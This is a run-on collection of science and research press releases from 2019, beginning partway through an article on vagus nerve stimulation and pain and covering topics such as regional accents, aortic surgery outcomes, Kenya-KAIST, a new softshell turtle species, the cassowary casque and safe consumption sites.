Second, the sweat measurements revealed that vagus nerve stimulation altered autonomic responses to painful heat stimulus. For participants pre-treated with vagus nerve stimulation, the sweat response decreased over time, in contrast to the sham-treatment group.

Third, vagus nerve stimulation dampened the usual brainstem centers critical for the fight-or-flight-type responses, which are also known to control the sweat response to pain.

"Not everyone is the same -- some people may need more vagus nerve stimulation than others to achieve the same outcomes and the necessary frequencies might change over time -- so we'll need to personalize this approach," Lerman said. "But we are hopeful and looking forward to the next steps in moving this approach toward the clinic."

Next, Lerman and colleagues will launch a Veterans Affairs Healthcare System-funded clinical trial in San Diego with military veterans, with and without PTSD. They want to determine if at-home vagus nerve stimulation can reduce emotional pain and underlying neural inflammation associated with PTSD. To learn how to participate, please call 858-552-8585 or email achiu@vapop.ucsd.edu.

Vagus nerve stimulation is a form of neuromodulation, an approach to pain management that also includes spinal cord and dorsal root ganglion (DRG) stimulation. The U.S. Food and Drug Administration (FDA) has approved noninvasive vagus nerve stimulator for the treatment of episodic and chronic cluster headache and acute migraine, as well as an implantable device for epilepsy. An implanted vagus nerve stimulator is now being tested in a clinical trial for the treatment of rheumatoid arthritis. Side effects of implanted vagus nerve stimulation can include hoarseness, shortness of breath and nausea.

###

Co-authors of this study include: Bryan Davis, Linda Sorkin, James Proudfoot, Edward Zhong, Donald Kimball, Ramesh Rao, UC San Diego; Mingxiong Huang, Charles Huang, Andrea Spadoni, Dewleen G. Baker, UC San Diego and Veterans Affairs San Diego Healthcare System; Bruce Simon, electroCore LLC; and Irina Strigo, Veterans Affairs San Francisco Healthcare System.Many people aspire to improve their lives through gaining promotion at work, new qualifications or starting a new career. However, research from universities of Bath and Manchester (UK) has found that broad regional accents can still be a barrier to social mobility, as they are less favoured by some people.

Virtually all newscasters and other television presenters spoke in 'received pronunciation' - known as the Queen's English - until the 1970s. These days, we are far more likely to hear a range of voices on British television.

The researchers wanted to find out whether or not people still felt as though they needed to moderate accents deemed to suggest working-class roots in order to succeed in their careers. For their study they sought the perspective of teachers from across the country, to find out whether accent in Britain is still a potent force in terms of how people are judged.

Their study sought the views of 41 teachers from England, Scotland, Northern Ireland and the Republic of Ireland.

One teacher felt her working-class South London accent signalled to her students that she was authentic, and as a result, more approachable. Yet from her mentor's point of view it sounded unprofessional. They said: "My mentor was very patronising, and tried everything he could to change my accent. I struggled every day with the feeling that I was not good enough - not good enough to teach, not good enough in the work environment and not good enough to pass the course."

Dr Michael Donnelly from Bath's Department of Education explained: "Everybody has an accent, and in a country like the UK, a person's accent can come to be an important signifier of their social and geographic origins - some more than others.

"The key message from this paper is that sociologists interested in social class, inequality and social mobility can learn a lot from sociolinguistics about the unique character of accents. Our research outlines sociolinguistic concepts and tools that can help those researching class and inequality to pick apart the components that make up a person's accent, showing why some may be a disadvantage over others, especially in the labour market."

Dr Alex Baratta of the University of Manchester added: "Even today, broad accents are less favoured. Many teachers are told - or feel a need - to modify their accents in order to be perceived more professionally. In one example, a teacher from Bristol modified his accent to avoid being perceived as a 'yokel who lives on a farm'.

"Social mobility can also mean accent mobility - individuals can 'move' their accents to coincide with a move in postcode."

This is just one example of the mismatch between speaker and listener regarding broad accents in the British workplace, resulting in a potential linguistic tug-of-war.

The researchers recommend that public and private institutions should be made more aware of the potential to discriminate based on accent when hiring new employees.

The paper 'A Sociolinguistic Perspective on Accent and Social Mobility in the UK Teaching Profession' is published in Sociological Research Online.

###The study, published in February 2019's sex-themed issue of Circulation, found if you're a woman, you're twice as likely to experience a stroke or death following surgery

New research says women fare worse than men following aortic heart surgery.

Researchers examined three different outcomes: early death, stroke and a composite of complications. In every case, women were more likely to wind up sicker.

The study, published in February 2019's sex-themed issue of Circulation, found if you're a woman, you're twice as likely to experience a stroke or death following surgery. More specifically, women are 80 per cent more likely to die, 90 per cent more likely to experience a stroke, and 40 per cent more likely to experience a complication.

"We controlled for patients' age, weight, pre-operative health, co-morbidities, and when we took all of that into consideration, going into aortic arch surgery, you're slightly less than twice as likely to die if you're a woman," explains Dr. Jennifer Chung, cardiac surgeon and scientist at Peter Munk Cardiac Centre. She is the lead author on the paper.

Dr. Michael Chu, clinician scientist at Lawson Health Research Institute and cardiac surgeon at London Health Sciences Centre, says these findings are consistent with other recent findings in cardiovascular medicine that also suggest women experience worse outcomes. Dr. Chu served as the paper's senior investigator.

"Historically, this issue has not been well addressed," Dr. Chu says. "Sex-specific considerations are paramount in cardiovascular medicine, and we investigated this in the largest study to-date, looking at outcomes after thoracic aortic surgery.

"Similar to other areas in cardiovascular medicine, our study suggests women present later in the disease process perhaps with atypical symptoms, like nausea. This may explain the difference in outcome between women and men in emergency situations, when patients experience something like an aortic dissection, or a ruptured aorta.

"But even still - we analyzed both situations - when people came for elective versus emergency surgery - and women still did worse either way."

An aortic dissection is an emergency, and can initially present like a heart attack or a stroke. Symptoms include sudden chest pain, dizziness, nausea and challenges walking and speaking.

Dr. Chung stresses this study should prompt further research that will help clinicians figure out why women are suffering from poorer outcomes than men.

"We have discovered an unfortunate phenomenon that will hopefully lead us down a path of more personalized medicine," she says. "This helps us understand that surgery shouldn't be the same for men and women, and that we must educate ourselves about picking up symptoms in women sooner.

"Our take home is that we need to do more research."

This paper is an initiative by the Canadian Thoracic Aortic Collaborative (CTAC) and uses nationwide data from almost 1,700 patients who have undergone aortic arch surgery. Data comes from cities across Canada including Victoria, Laval, Toronto - including the Peter Munk Cardiac Centre - Ottawa, Sudbury, Kingston and Winnipeg.

A total of 10 institutions were involved in compiling this data. The CTAC, led by Dr. Chu, is a group of Canadian cardiac surgeons with interests in aortic surgery and work to promote it through a focus on clinical excellence, collaboration and research.

"There shouldn't be an outcome gap between men and women," says Dr. Chung. "We shouldn't accept that women are more 'fragile.' We should work to minimize that gap as much as possible."

###KAIST, founded through a six-million USD loan from USAID in 1971, to provide turnkey-based education consultancy for Kenya's first advanced science and technology institute

KAIST and the Konza Technopolis Development Authority (KoTDA) announced the official establishment of Kenya-KAIST by 2021 during a kickoff ceremony on February 12 in Kenya. The KAIST delegation headed by President Sung-Chul Shin and Kenyan cabinet members and dignitaries including Minister of Education Amina Mohamed, the Chairman of the KoTDA Reuben Mutiso, and the CEO of KoTDA John Tanui attended the ceremony.

With this kickoff held at Konza Technopolis Malili, KAIST, the first and top science and technology university in Korea, will participate in Kenya's strategic economic development plan with the provision of a turnkey-based science and technology education consultancy for the establishment of Kenya's first advanced institute of science and technology. KAIST, which won preferred bidder status in consortium with Samwoo and Sunjin architecture and engineering companies, signed the contract with the KoTDA last November.

Korea Eximbank will offer a 95-million USD economic development cooperation fund loan to the Kenyan government. The campus will be constructed in the Konza Techno City located near Nairobi by 2021, with the first batch of 200 graduate students starting classes in 2022.

KAIST will develop academic curricula for six initial departments (Mechanical Engineering, Electrical/Electronic Engineering, ICT Engineering, Chemical Engineering, Civil Engineering, and Agricultural Biotechnology), which will lay the groundwork for engineering research and education in Kenya to meet emerging socioeconomic demands. In addition, KAIST will provide education in the basic science areas of math, physics, chemistry, and biology for students.

The Kenyan government plans to transform Kenya into a middle-income country under Vision 2030 through the promotion of science, technology, and innovation for national economic growth. Nicknamed Africa's Silicon Savannah, Konza Techno City is a strategic science and technology hub constructed to realize this vision. To this end, the medium-term plan set a goal to provide specialized research and training in various cutting-edge engineering and advanced science fields.

It is also notable that the Kenyan government asked to develop an industry-academy cooperation program in the Konza Techno City. This reflects the high expectations for Kenya-KAIST and its role as a growth engine in the center of the Konza Technopolis. It is anticipated that the technopolis will create 16,675 jobs in the medium term and over 200,000 upon completion, positioning Kenya as an ICT hub within the region.

Saying that the partnership through Kenya-KAIST will bring a new future to Kenya as well as KAIST at the ceremony, President Shin reflected that the project will be a significant milestone for KAIST's history and global competitiveness. He added, "With this Kenya project, we come to share the past, present, and future of KAIST. And I am very pleased to celebrate our shared vision: the empowerment of science, technology, and education."

In particular, President Shin was accompanied by Dr. Kun-Mo Chung, a founding provost who served as the Minister of Science and Technology in Korea twice. He now serves as an advisor to Kenyan President Uhuru Kenyatta.

Dr. Chung had played a crucial role in securing a six-million USD loan from US AID to the Korean government to establish KAIST in 1971. He proposed the idea to establish an advanced science and technology institute in Korea to Dr. John Hannah, then the director of US AID.

The seed that was sowed five decades ago in Korea by Dr. Chung has now fully bloomed in Kenya. In only a half century, KAIST has become a donor institution that passes on science and technology education systems including the construction of campuses to developing countries.

KAIST has been acclaimed as US AID's most successful foreign aid project. A report from the National Academy of Sciences in the US described KAIST as an exemplary case in which a former recipient of international aid has grown to become a science, technology and innovation leader.

The kickoff of Kenya-KAIST drew the attention of both media and local universities in Kenya, attesting to their strong interest to drive economic growth through advanced science and technology.

The University of Nairobi also hosted a special lecture by President Shin, asking him to share the recipe for the success of KAIST in Korea. In a lecture titled "A Crucial Engine for Rapid National Development," President Shin presented the vision, innovation, and passion of the Korean people that led to the phenomenal results we can see today.

The successful case of KAIST has been benchmarked by many countries for years. For instance, KAIST set up the curriculum for the nuclear engineering program at the Khalifa University of Science and Technology in UAE in 2010. Since 2015, Chongquing University of Technology in China has been running its electrical engineering and computer science programs based on the educational systems and curricula offered by KAIST.

Last October, KAIST also signed an MOU with the Prince Mohammad Bin Salman College of Cyber Security, AI, and Advanced Technologies in Saudi Arabia to provide the undergraduate program for robotics.

Among all these programs benchmarking KAIST, Kenya-KAIST clearly stands out, as it carries out a turnkey-based project that encompasses every aspect of institution building, ranging from educational curricular development to campus construction and supervision.

###Scientists at Tokyo Institute of Technology found a simple, yet effective, way to improve how synchronization is measured in chaotic systems. The technique consists in adding a constant parameter to the "analytic signals" in a way that emphasizes certain aspects of their timing. This could help improve brain-computer interfaces, which are meant to aid disabled people.

Humans are good at detecting whether separate things happen simultaneously, for example, if two lights flash together or not. When two swings move with a regular motion, it is easy to tell whether there is any temporal relationship or "synchronization." However, the trajectory of some objects, such as kites, can be very complicated but still exhibit some pattern, even though our eyes may fail to follow it; such systems are called "chaotic." In physics, chaos does not mean lack of order; it indicates the presence of a very complicated type of order. Such situations can be found across very different scenarios, including the activity of neurons.

When trajectories, which do not necessarily correspond to physical movement and can instead represent electrical signals, are sufficiently complicated, it becomes challenging to determine if they are synchronized. In many cases, only some aspects of their motion might be interrelated. Hence, measuring synchronization is difficult and has been the subject of research for decades.

Usually, when a trajectory approximately repeats itself in a loop, it is useful to consider at what point of this cycle the system we are observing is at a given time; we call this its "phase." Meanwhile, when a trajectory is irregular, the size of the loop also changes and each cycle may be larger or smaller than the previous one; this is called the "amplitude." These two aspects are independent and can be extracted from any signal via a mathematical trick called the "analytic signal."

Measuring whether the phases of two systems are related ("phase locked") is crucial across many areas. Obtaining the degree of phase locking between all possible electrode combinations represents a good way of guessing what someone is thinking about via voltages measured on their scalp in an electroencephalogram. Such techniques are not yet very detailed but can detect some forms of imaginary movements to help drive devices that aid disabled people.

However, these brain-computer interfaces are generally slow and not accurate enough. Now, researchers in Japan, Poland and Italy propose a new approach to measuring the synchronization between electroencephalogram signals. This research was the result of a collaboration between scientists from Tokyo Institute of Technology, in part funded by the World Research Hub Initiative, the Polish Academy of Sciences in Krakow, Poland, and the University of Catania, Italy.

The idea is straightforward and consists in adding a constant after calculating the "analytic signal"; this effectively has a warping effect, as shown in Figure 1. One consequence of this is that synchronization between the phases and amplitudes of two signals is captured jointly in a way that depends on the value of this added constant.

The research team first analyzed the effects of adding this constant in simple theoretical systems before moving on to more representative cases, such as a network of transistor oscillators. Then, they applied their approach to a dataset of electroencephalogram signals for which users were told to either rest or imagine moving their left or right hand. The added constant clearly helped the team measure the synchronization between electrodes, ultimately allowing them to increase the classification accuracy for these imaginary actions.

Although simple, the approach resulted in significant improvements in the cases analyzed by the team. In future works, they will continue to investigate this method so that it hopefully has an impact in practical applications.

###There is a time when a successful cooperation between humans and robots has decisive importance: it is in the precise moment that one "actor" is required to hand an object to another "actor" and, therefore, to coordinate their actions accordingly. But how can we make this interaction more natural for robots?

The answer comes from the study entitled "On the choice of grasp type and location when handing over an object", published in Science Robotics by a research team of The BioRobotics Institute of Scuola Superiore Sant'Anna and the Australian Centre for Robotic Vision. The study reveals the guiding principles that regulate the choice of grasp type during an exchange of objects, encouraging cooperation between a robotic system and a person.

The study, conducted in 2018, analysed the behavior of people when they have to grasp an object and when, instead of using it themselves, they need to hand it over to a partner. The researchers investigated the grasp choice and hand placement on those objects during a handover when subsequent tasks are performed by the receiver. Passers tend to grasp the purposive part of the objects and leave "handles" unobstructed to the receivers. Intuitively, this choice allows receivers to comfortably perform subsequent tasks with the objects.

"We realised that, to date, insufficient attention has been given to the way a robot grasps an object in studies on human-robot interaction," explains Francesca Cini, PhD student of The BioRobotics Institute and one of the two principal authors of the paper. "This aspect is very pivotal in this field. For example, when we pass a screwdriver knowing that the receiver should use it, we leave the handle free to facilitate the grasp and the subsequent use of the object. The aim of our research is to transfer all these guiding principles onto a robotic system so that they will be used to select a correct grasp type and to facilitate the exchange of objects."

The impact of the collaborative study opens new scenarios of technological innovation, bringing benefits to various social activities where human-robot cooperation is well-established and yet to be established. Indeed, it would be possible to ameliorate the production steps in an industrial context while, in rehabilitation, robots could assist patients with more natural and effective results.

"Collaborative Robotics is the next frontier of both industrial and assistive robotics," says Marco Controzzi, researcher of The BioRobotics Institute and principal investigator of Human-Robot Interaction Lab. "For this reason, we need a new generation of robots designed to interact with humans in a natural way. These results will allow us to instruct the robot to manipulate objects as a human collaborator through the introduction of simple rules."

"Perhaps surprisingly, grasping and manipulation are regarded as very intuitive and straightforward actions for us humans," says Valerio Ortenzi, a Research Fellow at the Australian Centre for Robotic Vision and the other principal author of the paper. "However, they simply are not. We intended to shed a light on the behavior of humans while interacting in a common manipulation task and a handover is a perfect example where little adjustments are performed to best achieve the shared goal to safely pass an object from one person to the other."

"Real-world manipulation remains one of the greatest challenges in robotics and we strive to be the world leader in the research field of visually-guided robotic manipulation," says Australian Centre for Robotic Vision Director Peter Corke. "This research collaboration with Scuola Superiore Sant'Anna forms a vital partnership towards our goal of overcoming the last barrier to the ubiquitous deployment of truly useful robots into society. While most people don't think about picking up and moving objects - something human brains have learned over time through repetition and routine - for robots, grasping and manipulation is subtle and elusive."

###Empty homes tax has the potential to generate income for local governments, reduce demand from foreign investors and increase housing affordability, a study suggests.

Housing affordability has decreased substantially in the UK between 1997 and 2016, due to a rapid increase in prices relative to earnings. This may be due in part to ownership of properties by foreign investors in cities such as London, or second home ownership by British citizens in rural areas, reducing the availability of affordable housing for local residents.

Researcher Jonathan Bourne at University College London investigated the relationship between the percentage of properties which do not have a permanent resident (low-use properties), and housing affordability in different parts of England and Wales. His findings are published in the journal Palgrave Communications, which is part of the Springer Nature portfolio.

"One of the goals of this research was to get an idea of the fraction of the population of England and Wales living in areas where low-use properties are more expensive than homes occupied by full time residents, which suggests that the most desirable properties are being bought for purposes other than use as a home, for example as investment opportunities or holiday homes," Bourne explained.

"Some of the most surprising findings were the sheer value and quantity of low-use properties in some areas, amounting to 21 billion in the London borough of Kensington and Chelsea alone, and 123 billion in the entire dataset. We estimate that in England and Wales, 39-47% of the population lives in areas where low-use properties are more expensive than permanently-occupied homes."

The researcher collected data from 112 local authorities, representing 32% of total local authorities in England and Wales, and covering 40% of the population of England and Wales (23.2 million people). This dataset included 340,000 low-use properties. Analysis revealed that low-use properties were worth 363,000 on average, which is 18.5% more expensive than the average home (306,000). This was the case for the majority of properties included in the dataset.

Bourne also aimed to identify areas that could be responsive to one of two ways of reducing house prices; increasing the supply of housing, or decreasing property demand, for example by introducing an empty homes tax.

The author said: "The data shows that low-use properties are very concentrated in small numbers of desirable areas. In such cases simply building more homes is not going to solve the problem, as the issue is intense competition for property, not a lack of places to live. An empty homes tax may be more effective, with the potential to generate a not inconsiderable income for local authorities, whilst taxing people who are typically not eligible to vote in local elections, or encouraging them to rent out their properties."

Based on these findings and the current council tax base, the author suggests that an empty homes tax of 1% would raise an additional 1.2 billion in taxes, which is equivalent to 11% of the council tax currently collected in the areas included in the dataset. An empty homes tax has been applied to domestic properties with no regular occupant by the city of Vancouver since 2018.

The author cautions that the empty homes tax would not be evenly distributed: "There are substantial differences in how much income individual areas would gain from an empty homes tax. For example, for individual boroughs in London, while the City of London would gain an additional 2100 per resident - the equivalent to 260% of current council tax - the boroughs of Kensington and Chelsea, and Barking and Dagenham would raise an additional 2000 per resident (201% of current council tax), and 3.60 per resident (1% of the current council tax), respectively."

The study shows that it is possible to provide a detailed analysis of housing at a local and national level using publicly available data. The method developed here could be implemented for the UK and other countries to help inform housing policy, according to the author.

###

Further Information

About the journal

Palgrave Communications, published by Palgrave Macmillan, is a fully open-access, online journal publishing peer-reviewed academic research across the full spectrum of the humanities and social sciences. The journal publishes research Articles, Reviews and short Comments, and features thematic article collections ('special issues'). It began publication in January 2015. https:/ / www. nature. com/ palcomms/ about

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During the embargo period, the full-text article "Empty homes: mapping the extent and value of low-use domestic property in England and Wales," by Jonathan Bourne, Palgrave Communications (2019) is available from Anne Korn at Springer Nature.Phuc Khanh pagoda was packed two hours before the start of a traditional religious service. Many Vietnamese believe that their fate lies in the star designated for the year in question. In the first days of the lunar New Year, people pray that bad stars do not cause unfortunate events.

Hanoi (AsiaNews/Agencies)  Last night a crowd lined up in long queues outside the Phuc Khanh Pagoda in Hanois Dong Da District to take part in a ritual believed to help avoid bad luck.

The traditional ceremony is set to last until next week, drawing thousands of Buddhists waiting their turn to ward off bad luck and ask for peace and good luck in the lunar New Year.

Many Vietnamese believe that their fate lies in the star designated for that year. Of nine stars, some are considered lucky; others are deemed the source of problems and the cause of troubles in daily life.

For this reason, people visit pagodas in the first days of Tet (Vietnamese New Year) and pray that bad stars do not cause unfortunate events.

The pagoda in Hanoi was packed two hours before the beginning of last nights religious service. At around 6 pm, devout believers had taken up half the authorised space, from Tay Son Street to the foot of Nga Tu So flyover.

Police officers were deployed in large numbers to ensure order during the ceremony.

At the end of the service, people scrambled to ask for "luck" in the form of fruit and tiny cakes handed out by the pagoda.

Similar prayer ceremonies will be performed in the pagoda next week when more participants are expected.

(Photo credit: Vietnam Express).HOUSTON -- (Feb. 13, 2019) - In an age of increased integration between physicians and hospitals, regulators should continue to scrutinize proposed hospital mergers and take steps to maintain competition, according to a new paper by experts at Rice University's Baker Institute for Public Policy.

"Weighing the Effects of Vertical Integration Versus Market Concentration on Hospital Quality" was co-authored by Marah Short, associate director of the institute's Center for Health and Biosciences, and Vivian Ho, the James A. Baker III Institute Chair in Health Economics and director of the center. It will be published in Medical Care Research and Review.

The study comes as health care provider organizations are becoming more complex, with hospitals acquiring physician practices and physician organizations getting larger. At the same time, hospitals are merging with each other to improve bargaining power with insurers, the authors said.

Short and Ho analyzed information from the Centers for Medicare and Medicaid Services' Hospital Compare database for 2008 to 2015. Among the 29 data points studied, the researchers analyzed hospital readmission rates, process of care measurements that gauge how well a hospital provides care to its patients, and patient satisfaction scores. Using that information, they tested whether patient outcomes are influenced by greater hospital market concentration or vertical integration between hospitals and physicians.

Before they launched their study, the researchers hypothesized that decreased fragmentation, meaning better coordination among a patient's primary care physician, specialists and admitting and attending hospital physicians, could improve patient care. Instead, they found that vertical integration has a limited effect.

"The government requires that hospitals report on a wide variety of quality measures, such as practice of preventive care for surgical patients, whether their doctor or nurse communicated well, or whether the patient would recommend the hospital to others," Ho said. "Physician-hospital integration did not improve the quality of care for the overwhelming majority of these measures. If patient welfare doesn't improve after integration, there may be other reasons why physicians and hospitals are forming closer relationships -- perhaps to raise profits."

On the other hand, increased market concentration, which lowers market competition, is strongly associated with reduced quality measured in terms of patient satisfaction, the authors said. With fewer competitors, it seems there is less incentive to keep patients happy. Given the nature of some satisfaction measures, such as explaining medications and communicating well with patients, overall clinical quality could suffer if patients do not properly understand care recommendations during their hospital stay or post-discharge, the authors said.

"Although better patient experience may not always correlate with higher clinical quality, measuring quality based on patient perception is increasingly important as more consumers use online physician ratings and reviews of patient experience to select providers," Short said. "Therefore, we need further research on the ability of patient satisfaction to reflect clinical quality, and if it does not, we need to develop and provide to patients better measures in terms that patients can understand and use."

"Our overall recommendation is one shared with previous researchers: Regulators should continue to focus scrutiny on proposed hospital mergers, take steps to maintain competition and reduce counterproductive barriers to entry," the authors wrote in a summary of their paper.

###

For more information or to schedule an interview with Short, contact Jeff Falk, associate director of national media relations at Rice, at jfalk@rice.edu or 713-348-6775.

Related materials:

Paper: https:/ / journals. sagepub. com/ doi/ 10. 1177/ 1077558719828938

Short bio: http://www. bakerinstitute. org/ experts/ marah-short

Ho bio: http://www. bakerinstitute. org/ experts/ vivian-ho

Follow the Baker Institute via Twitter @BakerInstitute.

Follow the Baker Institute's Center for Health and Biosciences via Twitter @BakerCHB.

Follow Rice News and Media Relations via Twitter @RiceUNews.For decades, it has been assumed that the Chinese Softshell Turtles from East Asia all belonged to one and the same species, Pelodiscus sinensis. Widely distributed all the way from the Russian Far East through the Korean Peninsula to China and Vietnam, the species was said to vary substantially in terms of its looks across localities. However, around the turn of the century, following a series of taxonomic debates, scientists revalidated or discovered a total of three species distinct from the 'original'.

Recently, a Hungarian-Vietnamese-German team of researchers described a fifth species in the genus. Their discovery is published in the open-access journal ZooKeys.

The new species, which differs both genetically and morphologically from the other four, has well-pronounced dark blotches on the underside of its shell. The markings are also the reason why these turtles are going by the scientific name Pelodiscus variegatus, where "variegatus" translates to "spotted" in Latin.

"This morphological feature, among others, led to the discovery that these animals belong to a hitherto undescribed species," explains Professor Dr. Uwe Fritz of the Senckenberg Natural History Collections in Dresden.

Unfortunately, the identification of multiple species within what used to be a single one has its potentially ill-fated consequences. While the Chinese Softshell Turtle was once considered widespread and not threatened, each newly discovered species "reduces" the individual population numbers.

"When we look at each species, the distribution range as well as the number of individuals is much smaller than when all were combined. Until now, the newly described Spotted Softshell Turtle was considered part of the Lesser Chinese Softshell Turtle Pelodiscus parviformis, which was discovered by Chinese researchers in 1997. Pelodiscus parviformis was already considered critically endangered. Now that its southern representatives have been assigned to a different species, the Spotted Softshell Turtle, the overall population size of each species is even smaller," explains Balazs Farkas, the study's Hungarian lead author.

Because of its restricted range and the levels of exploitation it is subjected to, the conservation status of the new species is proposed to be Critically Endangered, according to the criteria of the IUCN Red List of Threatened Species.

###

Original source:February 13, 2019: We are delighted to announce the recent formation of an ORCID Austria Consortium, which aims to increase the uptake and relevance of the ORCID iD as a unique identifier for researchers. The ORCID Austria Consortium is the result of several years of nationwide discussion, initiated by the Scientometrics Working Group of the University of Vienna in 2014, about the introduction of a person identifier in the Austrian scientific community.

The consortium has signed a two-year agreement with ORCID, and 11 member institutions have joined the consortium at its launch. It will be jointly led by consortia lead organizations, TU Wien (represented by the TU Wien Bibliothek) and the University of Vienna (represented by the Vienna University Library).

As consortia leads, the TU Wien and the University of Vienna will engage with the community to foster open research activities and best practices for research data management. Together, they will provide basic support for ORCID Austria Consortium members as they implement ORCID -- with backup from the ORCID team as needed. The lead organizations are also developing a joint statement of principles for the ORCID Austria Consortium, as well as planning a series of outreach activities, including workshops, webinars, and an official launch event in June 2019.

"Vienna University Library has actively participated in the ORCID initiative as a development partner since the very beginning. Providing a wide range of research support services in general and internationally renowned bibliometric services in particular, the University of Vienna has embraced ORCID as an institutional member and has also been acting as a forerunner for an ORCID Austria Consortium. Since ORCID will increase the individual, institutional and national visibility of research achievements, Vienna University Library is proud to continue to be part of this development within the ORCID Austria Consortium." Maria Seissl, Head of Vienna University Library and Archive Services

"As lead institution of the ORCID Austria Consortium, the TU Wien Bibliothek aims to raise awareness of the importance of persistent identifiers for the researchers' unique identification and data interoperability within the Austrian research landscape. We consider the ORCID Austria Consortium an important strategy that goes perfectly in accordance with the requirement of the national funding bodies, such as FWF. The TU Wien Bibliothek is already involved in other initiatives to promote Open Scholarship among their researchers. We see ORCID as an opportunity to co-shape further developments in research libraries." Beate Guba, Library Director, TU Wien Bibliothek

"The Austrian research community is dedicated to improving data sharing and research information system interoperability, between researchers and across universities, research institutes, and funders. ORCID is honored to be part of their work. We look forward to participating in this effort with them." Laure Haak, Executive Director of ORCID

###

About TU Wien Bibliothek

The TU Wien Bibliothek is the library of Austria's most important tertiary educational institution in the natural and technical sciences. It has a keen interest in open science and open access, and has implemented several services to support this, including a Center for Research Data Management -- with a focus on persistent identifiers -- and he creation of policies on open access and research data management to support the GO FAIR initiative. TU Wien Bibliothek has also hosted relevant conferences, such as the Focus on Open Sciences series in 2018.

Contact: paloma.arraiza@tuwien.ac.at

About the University of Vienna

The University of Vienna is one of the oldest and largest universities in Europe, and its library has already been providing e research support services, including bibliometrics, for many years. The university joined ORCID as a development partner and became an institutional member in June 2018. Their commitment to ORCID goes hand in hand with the implementation of Digital Object Identifiers (DOIs), Uniform Resource Names (URNs) and Handle-IDs as persistent identifiers in the university's digital asset management system, Phaidra. ORCID was successfully implemented in the university's CRIS system u:cris in late 2018.

Contact: christian.gumperberger@univie.ac.at

About ORCID

ORCID's vision is a world where all who participate in research and innovation, from imagining to building and managing, are uniquely identified and connected to their contributions across disciplines, and borders, and time. ORCID provides an identifier for individuals to use with their name as they engage in research and innovation activities. We provide open tools that enable transparent and trustworthy connections between researchers, their contributions, and affiliations. We provide this service to help people find information and to simplify reporting and analysis.

Contact: Laure Haak, Executive Director l.haak@orcid.orgA team of Australian scientists has completed research that could help solve a 200-year-old mystery surrounding an iconic Australian bird.

The La Trobe University researchers have published new evidence in Scientific Reports on the southern cassowary and its distinctive helmet - known as a casque.

Danielle Eastick, from La Trobe's Department of Ecology, Environment and Evolution and her team have shown the cranial structure acts like a radiator or "thermal window" to help the large, flightless birds keep cool in hot weather.

"Our results are quite compelling and it's highly probable this is what the casque is actually used for," Ms Eastick said.

"It's really exciting to think we may have solved a mystery that has baffled scientists for so long."

Using a handheld thermal imaging device, Ms Eastick obtained readings from 20 captive cassowaries, from Victoria through to northern Queensland and in different weather conditions.

The images showed that the birds released minimal heat from their casque when the weather was just five degrees and the greatest levels when the mercury reached 36 degrees.

Ms Eastick explained that as a large bodied, dark feathered creature, which is native to northern Queensland and Papua New Guinea, cassowaries face a thermal challenge in high temperatures.

"Just as humans sweat and dogs pant in hot weather or following exercise, cassowaries offload heat from their casque in order to survive. The hotter the ambient temperature, the more heat they release."

"The casque has caused considerable curiosity and speculation for nearly two centuries and animal experts have proposed various theories, including that it's a protective weapon used for fighting other animals or a means of attracting the opposite sex, but all are inconclusive."

The "thermal window" explanation may provide a rare glimpse into the physiology of dinosaurs.

"Many dinosaurs also had casques, so it's possible they too helped keep cool this way."

###A new qualitative study from the Johns Hopkins Bloomberg School of Public Health identifies several key lessons from early efforts to establish sanctioned safe consumption sites in five U.S. communities. The results offer insights on one approach some localities are exploring to address the escalating drug overdose crisis in the U.S.

Through interviews with key informants, the researchers identified strategies for organizing around this issue and engaging the community, as well as facilitators and barriers to progress.

The study was published online February 13 in the journal Psychiatric Services.

"We wanted to understand the environment in which these policy change efforts are occurring," says lead researcher Alene Kennedy-Hendricks, PhD, assistant director of the Johns Hopkins Center for Mental Health and Addiction Policy Research and a faculty member in the Bloomberg School's Department of Health Policy and Management. "Study participants emphasized the importance of engaging diverse partners to organize around safe consumption sites, elevating the voices of people who use drugs in these discussions and framing the need for this harm reduction approach in terms of racial justice."

Safe consumption sites, also known as overdose prevention sites or supervised injection facilities, are places where people can use pre-obtained drugs under the supervision of trained staff who can intervene and prevent fatal overdoses. No sanctioned safe consumption site exists in the U.S. but policymakers in at least six states, including Maryland, California, Colorado, Massachusetts, New York and Vermont, have introduced legislation to establish safe consumption sites, and at least two cities--Philadelphia and Seattle--are working to establish these sites without state legislation. These policy discussions have been controversial within the communities where they are being considered and potentially conflict with federal law. For example, federal prosecutors are currently suing to stop plans in Philadelphia to open a site.

For the study, the researchers interviewed 25 participants from five jurisdictions over the phone from April to July of 2018. Study participants were asked about their strategy for changing policy to sanction safe consumption sites, organizing efforts, community engagement, facilitators of progress and barriers to adoption. Participants included community organizers, harm reduction advocates, local government officials and health and social service organization leaders from jurisdictions considering implementing safe consumption sites. The researchers identified initial study participants in each jurisdiction and then recruited additional participants on the basis of initial interviews. Researchers identified common themes that emerged in the interviews.

One of the most commonly reported barriers to establishing these sites was developing an approach to respond to federal action, given federal law prohibiting the operation of spaces for the use of drugs. This concern also has created challenges in identifying the right location and physical structure for the site. Financing remained a challenge, although at least one community had allocated public funds for this purpose. Several communities emphasized efforts would only be successful if trust was built among communities of color, given the precedent of racially discriminatory drug policies in the U.S.

Participants from communities that already had well-established harm reduction programs, such as syringe services or scaled up naloxone distribution programs, said that those programs gave them a solid foundation on which to build support for safe consumption sites. These communities seemed to have an advantage since existing policies, programs and partnerships had been established. Researchers also found that securing political and community champions was critical in advancing policy on this issue. Community members who were trusted and respected by their neighbors and championed safe consumption sites helped improve local residents' understanding of the purpose of these sites. Visits to safe consumption sites in areas outside the U.S. (specifically Vancouver, British Columbia) by local government officials and key community members helped to reduce opposition.

Most jurisdictions reported that engaging a diverse set of community allies helped in building a broader coalition and stronger connection to policymakers. The community leaders who participated in the study all viewed establishing safe consumption sites as part of a broader, comprehensive strategy to respond to the devastating scale of the opioid epidemic. Co-author Colleen L. Barry, PhD, MPP, professor and chair of the Bloomberg School's Department of Health Policy and Management, notes that advancing harm reduction measures, including safe consumption sites, is viewed as an important strategy for connecting people who use drugs with evidence-based treatment, social services, housing support and other services to make positive changes that reduce the risks associated with using drugs.

Participants reported that organizing people who use drugs and involving them in policy efforts is critical, and some locations were involving drug-user unions in these efforts. Pressuring policymakers to take a stand on safe consumption sites during campaign events was viewed as an effective strategy.

"This study brings to light the realities of how such an innovation could be implemented, the nature of the stakeholders and the complexity and uniqueness of each city's process," says Susan Sherman, PhD, MPH, professor in the Bloomberg School's Department of Health, Behavior and Society and the paper's senior author. "It provides insight into the community-specific distinctions and important commonalities across these jurisdictions."

